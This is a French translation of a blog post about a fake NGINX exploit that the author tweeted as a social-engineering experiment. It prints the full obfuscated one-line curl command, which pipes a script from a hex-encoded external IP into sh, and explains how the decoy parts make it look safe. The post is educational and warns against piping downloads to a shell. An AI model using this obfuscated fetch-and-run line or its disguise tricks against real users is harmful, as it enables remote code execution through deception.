Le succÚs de l'expérience sociale avec l'exploit factice pour nginx

Note de traduction.: Auteur L'article original, publiĂ© le 1er juin, a dĂ©cidĂ© de mener une expĂ©rience auprĂšs de ceux qui s'intĂ©ressent Ă  la sĂ©curitĂ© de l'information. Pour ce faire, il a prĂ©parĂ© un exploit factice pour une vulnĂ©rabilitĂ© non rĂ©vĂ©lĂ©e dans le serveur web et l'a publiĂ© sur son Twitter. Ses hypothĂšses — ĂȘtre immĂ©diatement dĂ©masquĂ© par des spĂ©cialistes qui verraient l'Ă©vident mensonge dans le code — ne se sont pas simplement rĂ©vĂ©lĂ©es fausses
 Elles ont dĂ©passĂ© toutes les attentes, dans le sens inverse : le tweet a reçu un Ă©norme soutien de nombreux individus qui n'ont pas pris la peine de vĂ©rifier son contenu.

Le succÚs de l'expérience sociale avec l'exploit factice pour nginx

TL;DR : n'utilisez en aucun cas le piping de fichiers en sh ou bash. C'est un excellent moyen de perdre le contrĂŽle de votre ordinateur.

Je veux partager avec vous une petite histoire sur un PoC d'exploit humoristique qui a Ă©tĂ© créé le 31 mai. Il est apparu rapidement en rĂ©ponse Ă  la nouvelle de Alisa Esage Shevchenko, membre de Zero Day Initiative (ZDI), annonçant qu'une information sur une vulnĂ©rabilitĂ© dans NGINX, menant Ă  une RCE (exĂ©cution de code Ă  distance), serait bientĂŽt rĂ©vĂ©lĂ©e. Étant donnĂ© que NGINX est Ă  la base de nombreux sites web, la nouvelle devait avoir un effet explosif. Cependant, en raison de retards dans le processus de « divulgation responsable », les dĂ©tails de ce qui s'est passĂ© n'Ă©taient pas connus — c'est la procĂ©dure standard du ZDI.

Le succÚs de l'expérience sociale avec l'exploit factice pour nginx
Tweet concernant la divulgation de la vulnérabilité dans NGINX

Ayant terminĂ© de travailler sur une nouvelle technique d'obfuscation dans curl, j'ai citĂ© le tweet original et « lĂąchĂ© un PoC fonctionnel », composĂ© d'une seule ligne de code, prĂ©tendument utilisant la vulnĂ©rabilitĂ© dĂ©couverte. Bien sĂ»r, c'Ă©tait une pur mensonge. Je pensais que j'allais ĂȘtre dĂ©masquĂ© tout de suite, et que dans le meilleur des cas, je recevrais quelques retweets (et tant pis).

Le succÚs de l'expérience sociale avec l'exploit factice pour nginx
Tweet avec un exploit factice

Cependant, je ne pouvais pas imaginer ce qui allait se passer ensuite. La popularitĂ© de mon tweet a grimpĂ© en flĂšche. Étonnamment, jusqu'Ă  prĂ©sent (15h00 MSK le 1er juin), trĂšs peu de gens ont rĂ©alisĂ© que c'Ă©tait une supercherie. Beaucoup le retweetent sans mĂȘme vĂ©rifier (sans parler d’admirer l'adorable ASCII art qu'il produit).

Le succÚs de l'expérience sociale avec l'exploit factice pour nginx
Regardez comme c'est beau !

Bien que tous ces cycles et couleurs soient remarquables, il est Ă©vident que pour les voir, les gens devaient exĂ©cuter le code sur leur machine. Heureusement, les navigateurs fonctionnent de la mĂȘme maniĂšre, et Ă©tant donnĂ© que je n'ai pas du tout besoin de problĂšmes lĂ©gaux, le code intĂ©grĂ© dans mon site se contentait d'appels echo, sans essayer d'installer ou d'exĂ©cuter de code supplĂ©mentaire.

Petite digression : netspooky, dnz, moi et d'autres membres de l'Ă©quipe Thugcrowd experimentons depuis un certain temps diffĂ©rentes maniĂšres d'obfusquer des commandes curl, parce que c'est amusant
 et nous sommes des geeks. netspooky et dnz ont dĂ©couvert plusieurs nouvelles mĂ©thodes qui me semblaient extrĂȘmement prometteuses. Je me suis joint au plaisir et j'ai essayĂ© d'ajouter des conversions d'IP dĂ©cimales Ă  notre ensemble de tours. Il s'est avĂ©rĂ© qu'il est Ă©galement possible de convertir l'IP en format hexadĂ©cimal. De plus, curl et la plupart des autres outils NIX acceptent volontiers les IP hexadĂ©cimales ! Il suffisait donc de crĂ©er une ligne de commande convaincante et Ă  l'apparence sĂ©curisĂ©e. Au final, je me suis arrĂȘtĂ© sur celle-ci :

curl -gsS https://127.0.0.1-OU-SERVEUR-VICTIME:443/..../..../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

L'ingĂ©nierie socio-Ă©lectronique (S.E.E.) — plus qu'un simple phishing

La sĂ©curitĂ© et la familiaritĂ© ont Ă©tĂ© au cƓur de cette expĂ©rience. Je pense que c'est ce qui a conduit Ă  son succĂšs. La ligne de commande impliquait clairement la sĂ©curitĂ© en se rĂ©fĂ©rant Ă  « 127.0.0.1 » (le localhost bien connu). Le localhost est considĂ©rĂ© comme sĂ»r, et les donnĂ©es qu'il contient ne quittent jamais votre ordinateur.

La familiaritĂ© Ă©tait le deuxiĂšme Ă©lĂ©ment clĂ© de l'expĂ©rience S.E.E. Étant donnĂ© que le public cible Ă©tait principalement composĂ© de personnes ayant des connaissances de base en sĂ©curitĂ© informatique, il Ă©tait important de crĂ©er un code dont les parties semblaient familiĂšres et donc sĂ»res. L'emprunt d'Ă©lĂ©ments de concepts d'anciennes exploitations et leur combinaison de maniĂšre originale s'est avĂ©rĂ© trĂšs efficace.

Voici une analyse détaillée de la ligne de code. Tout dans cette liste est d'ordre cosmétique, et il ne nécessite pratiquement rien pour fonctionner réellement.

Quels composants sont rĂ©ellement nĂ©cessaires ? Ce sont -gsS, -O 0x0238f06a, |sh et le serveur web lui-mĂȘme. Le serveur web ne contenait aucune instruction malveillante, il se contentait de transmettre des graphiques ASCII Ă  l'aide de commandes echo dans le script contenu dans index.html. Lorsque l'utilisateur saisissait une chaĂźne avec |sh au milieu, index.html cela se chargeait et s'exĂ©cutait. Heureusement, les gardiens du serveur web n'avaient pas de mauvaises intentions.

  • ../../../%00 – reprĂ©sente un dĂ©passement de rĂ©pertoire ;
  • ngx_stream_module.so – le chemin vers un module alĂ©atoire de NGINX ;
  • /bin/sh%00<'protocol:TCP' – nous prĂ©tendons exĂ©cuter /bin/sh sur la machine cible et rediriger la sortie vers un canal TCP ;
  • -O 0x0238f06a#PLToffset – un ingrĂ©dient secret, complĂ©tĂ© #PLToffset, pour sembler ĂȘtre un dĂ©calage mĂ©moire, contenu d'une maniĂšre ou d'une autre dans le PLT ;
  • |sh; – un autre fragment important. Nous devions rediriger la sortie vers sh/bash pour exĂ©cuter le code provenant du serveur web attaquant situĂ© Ă  l'adresse 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost – un leurre, oĂč netcat fait rĂ©fĂ©rence Ă  /dev/tcp/localhost, afin que tout semble Ă  nouveau sĂ©curisĂ©. En rĂ©alitĂ©, cela ne fait rien et est inclus dans la chaĂźne pour l'apparence.

C'est ici que se terminent la déchiffration du script d'une ligne et la discussion des aspects de l'« ingénierie socio-électronique » (phishing astucieux).

Configuration du serveur web et mesures d'atténuation

Puisque la grande majoritĂ© de mes abonnĂ©s sont des experts en cybersĂ©curitĂ©/hackers, j'ai dĂ©cidĂ© de rendre le serveur web un peu plus rĂ©sistant aux manifestations d'« intĂ©rĂȘt » de leur part simplement pour leur donner quelque chose Ă  faire (et le configurer Ă©tait plutĂŽt amusant). Je ne vais pas Ă©numĂ©rer ici tous les piĂšges, car l'expĂ©rience est encore en cours, mais voici quelques Ă©lĂ©ments que le serveur fait :

  • Suit activement les tentatives de propagation sur certains rĂ©seaux sociaux et injecte diffĂ©rentes vignettes de prĂ©visualisation pour inciter l'utilisateur Ă  cliquer sur le lien.
  • Redirige Chrome/Mozilla/Safari/etc. vers une bande-annonce Thugcrowd au lieu de montrer le script shell.
  • Surveille les SIGNAUX MANIFESTES d'intrusion/violations, aprĂšs quoi il commence Ă  rediriger les requĂȘtes vers les serveurs de la NSA (ha ha !).
  • Installe un cheval de Troie, ainsi qu'un rootkit BIOS sur tous les ordinateurs dont les utilisateurs visitent l'hĂŽte avec un navigateur ordinaire (c'est une blague !).

Le succÚs de l'expérience sociale avec l'exploit factice pour nginx
Une petite partie de l'anti-méchant

Dans ce cas, mon seul objectif Ă©tait de maĂźtriser certaines fonctionnalitĂ©s d'Apache – en particulier, de super rĂšgles de redirection de requĂȘtes – et je me suis dit : pourquoi pas ?

Exploit NGINX (vrai !)

Suivez @alisaesage sur Twitter et suivez le travail remarquable de ZDI pour corriger de réelles vulnérabilités et opportunités d'exploitation dans NGINX. Leur travail m'a toujours fasciné et je suis reconnaissant à Alisa pour sa patience face à toutes les mentions et notifications causées par mon tweet stupide. Heureusement, cela a aussi servi à quelque chose : sensibiliser aux vulnérabilités de NGINX et aux problÚmes causés par l'utilisation abusive de curl.

Source : habr.com

Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS đŸ”„ Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster